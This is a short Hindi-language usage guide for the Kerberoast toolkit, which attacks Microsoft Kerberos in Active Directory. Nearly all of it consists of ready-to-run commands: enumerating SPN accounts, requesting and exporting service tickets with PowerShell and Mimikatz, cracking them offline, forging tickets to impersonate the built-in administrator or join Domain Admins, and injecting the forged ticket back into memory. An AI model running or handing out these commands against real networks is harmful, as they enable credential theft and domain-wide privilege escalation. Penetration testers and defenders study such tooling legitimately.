kerberoast

Kerberoast, MS Kerberos कार्यान्वयनों पर हमला करने के लिए उपकरणों की एक श्रृंखला है। नीचे प्रत्येक उपकरण की संक्षिप्त जानकारी दी गई है।

अंतर्निहित MS उपकरणों का उपयोग करके SPN के रूप में उपयोग में आने वाले सभी खाते निकालें

PS C:\> setspn -T medin -Q */*

टिकट का अनुरोध करें

एक टिकट:

PS C:\> Add-Type -AssemblyName System.IdentityModel  
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local"  

सभी टिकट

PS C:\> Add-Type -AssemblyName System.IdentityModel  
PS C:\> setspn.exe -T medin.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  

Mimikatz के साथ RAM से प्राप्त टिकट निकालें

mimikatz # kerberos::list /export

tgsrepcrack के साथ क्रैक करें

./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

पुनः लिखें

उपयोगकर्ता को भिन्न उपयोगकर्ता के रूप में दिखाएँ

./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -u 500  

उपयोगकर्ता को किसी अन्य समूह (इस मामले में डोमेन एडमिन) में जोड़ें

./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -g 512  

Mimikatz के साथ वापस RAM में इंजेक्ट करें

kerberos::ptt sql.kirbi